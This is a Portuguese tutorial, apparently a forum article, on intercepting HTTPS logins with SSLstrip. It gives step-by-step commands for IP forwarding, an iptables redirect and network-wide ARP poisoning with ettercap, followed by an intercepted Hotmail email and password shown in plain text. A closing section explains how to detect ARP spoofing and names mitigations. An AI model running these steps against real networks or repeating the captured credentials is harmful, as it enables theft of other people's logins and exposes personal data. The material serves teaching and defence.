Introdução
Em 2009, quando Moxie Marlinspike apresentou sua nova façanha no BlackHat, o
SSLstrip, a captura de tráfego
SSL/HTTPS deixou de ser um conto de fadas e se tornou
realidade. (:
Marlinspike não é estranho no mundo da segurança SSL. Em 2002 ele lançou o SSLsniff, uma ferramenta que pode ser usada em um ataque 'Man In The Middle' (MITM) para injetar certificados
SSL ilegítimos em um fluxo HTTP, levando o usuário a pensar que eles estavam em um local seguro SSL legítimo.
A lógica do SSLstrip é bem simples, ele altera todos os GET's HTTPS por HTTP de uma página, e por meio de um ataque MITM, faz com que a Vítima e o Atacante se comuniquem via HTTP,
quando na verdade o Atacante e o Servidor estão se comunicando via HTTPS.
Lembrando que realizar este tipo de teste sem autorização, é considerado invasão de privacidade, por isso utilize esta dica com cautela!
Ajustes iniciais
Para nossos testes, estou utilizando o BackTrack 5.
O primeiro passo será liberar o repasse de pacotes na máquina do Atacante:
# sysctl -w net.ipv4.ip_forward=1
Onde:
- -w : (write) escrever as mudanças no arquivo;
Agora iremos usar o IPtables para redirecionar todo tráfego TCP da porta 80, para TCP 4003 (porta no qual o SSLstrip irá escutar);
# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 4003
Onde:
- -t : Tabela do Firewall;
- -p : Protocolo;
- --dport : Porta de destino;
- -j : (jump) ou simplesmente alvo;
- --to-port : Redirecionar para uma porta especifica.
O teste de fogo
O próximo passo será rodar o 'Ettercap' para interceptar o tráfego da rede:
# ettercarp -TqM ARP:REMOTE // //
Onde:
- -T : (Text) Somente em modo texto;
- -q : Modo Silencioso;
- -M : (MITM) irá realizar um ataque do tipo Man In The Middle;
- ARP : REMOTE: Realiza o envenenamento da tabela ARP das máquinas que estão conectadas na rede. Uma vez que o cache tenha sido
envenenado as vítimas irão enviar todos os pacotes para o atacante que, por sua vez, pode modificar e encaminhá-los para o destino real.
- // // : Realiza o ataque de envenenamento ARP contra todos os hosts na rede.
Para encerrar, basta abrir outro terminal, e executar o SSLstrip:
# cd /pentest/web/sslstrip
# ./sslstrip.py -a -l 4003
Onde:
- -a: Registrar todo o tráfego HTTP e SSL para e do servidor;
- -l: (listen) Ouvir em uma determinada porta especifica, o padrão é a porta 10000.
Basta uma nova sessão HTTPS (Gmail, Hotmail, Facebook, etc..) ser aberta, para conseguirmos visualizar de forma clara o usuário e senha do mesmo!
Abaixo um exemplo de conteúdo interceptado:
2011-12-20 12:49:19,605 SECURE POST Data (login.live.com):
login=gabriel.camargo%40hotmail.com&passwd=#Gabriel2011$&type=11&LoginOptions=3&NewUser=1&MEST=&PPSX=PassportRN&PPFT=
CSunM4mofYh
igqiObttRmtoFdxf8alO7UBN1O9Jb2EQYF1T5sE4qGl
teBPzjSYo1kd1jAsP7rlt80UdeEqjMeasL5WXvuVU%21n8NSpKRq3NxmBsw06rOBOfPnz4pejvv3qm0x7rcejM0zU0oCmtF9mL1UqTYa0VQELVDpW
Og3RhYACZh
XqKYJAbxteyPX%21Mr1Yrq*Un8yDSMnbAgENcljztLVOk
*y&idsbho=1&PwdPad=&sso=&i1=&i2=1&i3=19972&i4=&i12=1&i13=&i14=593&i15=1038
Usuário: gabriel.camargo@hotmail.com
Password: #Gabriel2011$
Detectando o ataque
Uma dica importante no qual meu amigo
Izaias (moderador do VOL) me pediu, seria sobre como detectar, ou ao
menos tentar evitar, este tipo de anomalia.
Bom, vamos lá.
Um ponto importante deste tipo de ataque, é que o mesmo só será bem sucedido utilizando a técnica de ARP Spoofing na rede, ou seja, uma das diversas formas de detectar o ataque, será
realizar uma consulta na tabela ARP do sistema:
No
Linux:
# arp -n
No Windows:
> arp -a
Veja a saída do comando executado no Linux:
Address HWtype HWaddress &n
bsp; Flags Mask Iface
192.168.0.59 ether
00:50:xx:xx:xx:b9
C eth0
192.168.0.102 ether
00:50:xx:xx:xx:b9 C &nbs
p; eth0
192.168.0.1 ether
00:50:xx:xx:xx:b9
C eth0
192.168.0.100 ether 00:50:xx:xx:xx:b9 &
nbsp; C eth0
192.168.0.3 ether
00:50:xx:xx:xx:b9
C eth0
192.168.0.5 ether
00:50:xx:xx:xx:b9
C eth0
192.168.0.57 ether
00:50:xx:xx:xx:b9 C &nbs
p; eth0
192.168.0.23 ether
00:50:xx:xx:xx:b9 C &nbs
p; eth0
192.168.0.22 ether
00:50:xx:xx:xx:b9 C &nbs
p; eth0
192.168.0.107 ether
00:50:xx:xx:xx:b9 C &nbs
p; eth0
192.168.0.17
ether 00:50:xx:xx:xx:b9 C
eth0
192.168.0.12 ether
00:50:xx:xx:xx:b9
C eth0
Perceba que os IP's listados são distintos, porém o endereço MAC é sempre o mesmo para todos. Endereço no qual, representa a placa de rede do Atacante.
Obs.: (O 'xx:xx:xx' foi uma forma de preservar o endereço Mac Real do Atacante).
Para evitar este tipo de ataque, alguns switchs (como Cisco por exemplo) trazem consigo, proteção contra ARP Spoof.
Porém, caso não se tenha um destes por perto, existe uma ótima ferramente chamada ArpON (Arp handler inspectiON tool). O mesmo é um Daemon manipulador que possui ferramentas de
vigilância e monitoramento de redes, para assegurar a proteção, além de evitar ataques do tipo 'Man In The Middle', o mesmo também tenta evitar outros tipo de ataque, como 'DNS Spoofing'
e 'Session Hijacking por', por exemplo.
Mais informações sobre esta ferramenta, pode ser vista no site:
Até a próxima!